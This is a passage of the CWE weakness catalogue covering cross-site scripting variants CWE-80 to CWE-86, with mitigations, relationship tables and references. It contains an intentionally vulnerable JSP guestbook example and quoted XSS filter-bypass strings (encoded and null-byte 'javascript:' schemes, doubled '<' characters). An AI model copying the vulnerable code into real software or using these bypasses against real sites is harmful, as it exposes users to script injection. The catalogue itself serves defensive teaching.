When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("`<3`") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

### Architecture and Design

#### Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Operation**

**Firewall**

**Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Operation**

**Implementation**

**Environment Hardening**

When using PHP, configure the application so that it does not use register\_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register\_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Background Details**

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name			Page
ChildOf		20	Improper Input Validation	<b>700</b>		18
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b>		113
PeerOf		352	Cross-Site Request Forgery (CSRF)	1000		611
ChildOf		442	Web Problems	699		755
CanPrecede		494	Download of Code Without Integrity Check	1000		835
ChildOf		712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	<b>629</b>		1111
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711		1116
ChildOf		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	<b>711</b>		1118
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>		1142
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>		1228
ChildOf		811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	<b>809</b>		1246
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	<b>900</b>		1308
ChildOf		931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	<b>928</b>		1359
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>		1388
ParentOf		80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	<b>699</b>		142
ParentOf		81	Improper Neutralization of Script in an Error Message Web Page	<b>699</b>		144
				<b>1000</b>		



Nature	Type	ID	Name	V	∞	Page
ParentOf	V	83	Improper Neutralization of Script in Attributes in a Web Page	699 1000		147
ParentOf	V	84	Improper Neutralization of Encoded URI Schemes in a Web Page	699 1000		149
ParentOf	V	85	Doubled Character XSS Manipulations	699 1000		151
ParentOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	699 1000		152
ParentOf	V	87	Improper Neutralization of Alternate XSS Syntax	699 1000		154
CanFollow	B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	1000		211
CanFollow	B	184	Incomplete Blacklist	1000	692	352
MemberOf	V	635	Weaknesses Used by NVD	635		983
MemberOf	V	884	CWE Cross-section	884		1319

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
19	Embedding Scripts within Scripts	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	
106	Cross Site Scripting through Log Files	
198	Cross-Site Scripting in Error Pages	
199	Cross-Site Scripting Using Alternate Syntax	
209	Cross-Site Scripting Using MIME Type Mismatch	
232	Exploitation of Authorization	
243	Cross-Site Scripting in Attributes	
244	Cross-Site Scripting via Encoded URI Schemes	
245	Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript	
246	Cross-Site Scripting Using Flash	
247	Cross-Site Scripting with Masking through Invalid Characters in Identifiers	

### References

[REF-15] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.

"Cross-site scripting". Wikipedia. 2008-08-26. < [http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) >.



[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft. 2002.

[REF-14] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < <http://hackers.org/xss.html> >.

Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < <http://msdn.microsoft.com/en-us/library/ms533046.aspx> >.

Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". < <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

Ivan Ristic. "XSS Defense HOWTO". < <http://blog.modsecurity.org/2008/07/do-you-know-how.html> >.

OWASP. "Web Application Firewall". < [http://www.owasp.org/index.php/Web\\_Application\\_Firewall](http://www.owasp.org/index.php/Web_Application_Firewall) >.

Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". < <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html> >.

RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHttpRequest". 2007-07-19.

"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. < [https://bugzilla.mozilla.org/show\\_bug.cgi?id=380418](https://bugzilla.mozilla.org/show_bug.cgi?id=380418) >.

"Apache Wicket". < <http://wicket.apache.org/> >.

[REF-16] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". < [http://www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) >.

[REF-20] OWASP. "DOM based XSS Prevention Cheat Sheet". < [http://www.owasp.org/index.php/DOM\\_based\\_XSS\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) >.

Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. < <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071.. 1st Edition. Addison Wesley. 2006.

## CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID: 80 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

#### Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

#### Time of Introduction

- Implementation

#### Applicable Platforms

#### Languages

- All

#### Common Consequences

**Confidentiality****Integrity****Availability****Read application data****Execute unauthorized code or commands****Likelihood of Exploit**

High to Very High

**Demonstrative Examples**

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

**JSP Example:***Bad Code*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
    Entry e = (Entry) i.next(); %>
    <p>Entry #<%= e.getId() %></p>
    <p><%= e.getText() %></p>
    <%
    } %>
```

**Observed Examples**

Reference	Description
CVE-2002-0938	XSS in parameter in a link.
CVE-2002-1495	XSS in web-based email product via attachment filenames.
CVE-2003-1136	HTML injection in posted message.
CVE-2004-2171	XSS not quoted in error page.

**Potential Mitigations****Implementation**

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699 1000	131
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
MemberOf	V	630	Weaknesses Examined by SAMATE	630	980

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Basic XSS
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
193	PHP Remote File Inclusion	

**White Box Definitions**

A weakness where the code path has:

1. start statement that accepts input from HTML page
2. end statement that publishes a data item to HTML where
  - a. the input is part of the data item and
  - b. the input contains XSS syntax

## CWE-81: Improper Neutralization of Script in an Error Message Web Page

**Weakness ID:** 81 (Weakness Variant)

**Status:** Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

**Extended Description**

Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.

**Time of Introduction**

- Implementation
- Operation

**Applicable Platforms****Languages**

- All

## Common Consequences

### Confidentiality

### Integrity

### Availability

### Read application data

### Execute unauthorized code or commands

## Observed Examples

Reference	Description
CVE-2002-0840	XSS in default error page from Host: header.
CVE-2002-1053	XSS in error message.
CVE-2002-1700	XSS in error page from targeted parameter.

## Potential Mitigations

### Implementation

Do not write user-controlled input to error pages.

### Implementation

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

### Implementation

#### Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Implementation

#### Identify and Reduce Attack Surface

#### Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699	131
CanAlsoBe	B	209	Information Exposure Through an Error Message	1000	397
CanAlsoBe	C	390	Detection of Error Condition Without Action	1000	671
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		XSS in error pages
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
198	Cross-Site Scripting in Error Pages	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.

## CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Weakness ID: 82 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

#### Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Read application data

#### Execute unauthorized code or commands

### Observed Examples

Reference	Description
CVE-2002-1649	javascript URI scheme in IMG tag.
CVE-2002-1803	javascript URI scheme in IMG tag.
CVE-2002-1804	javascript URI scheme in IMG tag.
CVE-2002-1805	javascript URI scheme in IMG tag.
CVE-2002-1806	javascript URI scheme in IMG tag.
CVE-2002-1807	javascript URI scheme in IMG tag.
CVE-2002-1808	javascript URI scheme in IMG tag.
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.

### Potential Mitigations

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used.

This can open up the browser to subtle XSS attacks.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		83	Improper Neutralization of Script in Attributes in a Web Page		699 1000 147
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888 1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Script in IMG tags
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
91	XSS in IMG Tags	

## CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Weakness ID: 83 (*Weakness Variant*)

Status: Draft

**Description****Summary**

The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**



**Confidentiality****Integrity****Availability****Read application data****Execute unauthorized code or commands****Observed Examples**

Reference	Description
CVE-2001-0520	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
CVE-2002-1493	guestbook XSS in STYLE or IMG SRC attributes.
CVE-2002-1495	XSS in web-based email product via onmouseover event.
CVE-2002-1681	XSS via script in <P> tag.
CVE-2002-1965	Javascript in onerror attribute of IMG tag.
CVE-2003-1136	Javascript in onmouseover attribute in e-mail address or URL.
CVE-2004-1935	Onload, onmouseover, and other events in an e-mail attachment.
CVE-2005-0945	Onmouseover and onload events in img, link, and mail tags.

**Potential Mitigations****Implementation**

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699 1000	131
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf		82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	699 1000	146

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		XSS using Script in Attributes
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
243	Cross-Site Scripting in Attributes	

## CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page

Weakness ID: 84 (Weakness Variant)

Status: Draft

**Description****Summary**

The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0117	Encoded "javascript" in IMG tag.
CVE-2002-0118	Encoded "javascript" in IMG tag.
CVE-2005-0563	Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&#X41sc&#0010;ript:") in an IMG tag.
CVE-2005-0692	Encoded script within BBcode IMG tag.
CVE-2005-2276	Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&#X41vascript" in an IMG tag).

**Potential Mitigations****Implementation****Input Validation**

Resolve all URIs to absolute or canonical representations before processing.

**Implementation****Input Validation**

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.




**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')		<b>699</b> <b>1000</b>
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		XSS using Script Via Encoded URI Schemes
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
32	Embedding Scripts in HTTP Query Strings	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
244	Cross-Site Scripting via Encoded URI Schemes	

## CWE-85: Doubled Character XSS Manipulations

Weakness ID: 85 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Read application data

##### Execute unauthorized code or commands

#### Observed Examples

Reference	Description
CVE-2000-0116	Encoded "javascript" in IMG tag.
CVE-2001-1157	Extra "<" in front of SCRIPT tag.
CVE-2002-2086	XSS using "<script".

#### Potential Mitigations

##### Implementation

Resolve all filtered input to absolute or canonical representations before processing.

##### Implementation

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

##### Implementation

##### Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used.

This can open up the browser to subtle XSS attacks.

##### Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699 1000	131
PeerOf	G	675	Duplicate Operations on Resource	1000	1043
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		DOUBLE - Doubled character XSS manipulations, e.g. "<script"
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
32	Embedding Scripts in HTTP Query Strings	
199	Cross-Site Scripting Using Alternate Syntax	
244	Cross-Site Scripting via Encoded URI Schemes	
245	Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript	

## CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID: 86 (Weakness Variant)

Status: Draft

**Description****Summary**

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

**Extended Description**

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Confidentiality**  
**Integrity**  
**Availability**  
**Read application data**  
**Execute unauthorized code or commands**

#### Observed Examples

Reference	Description
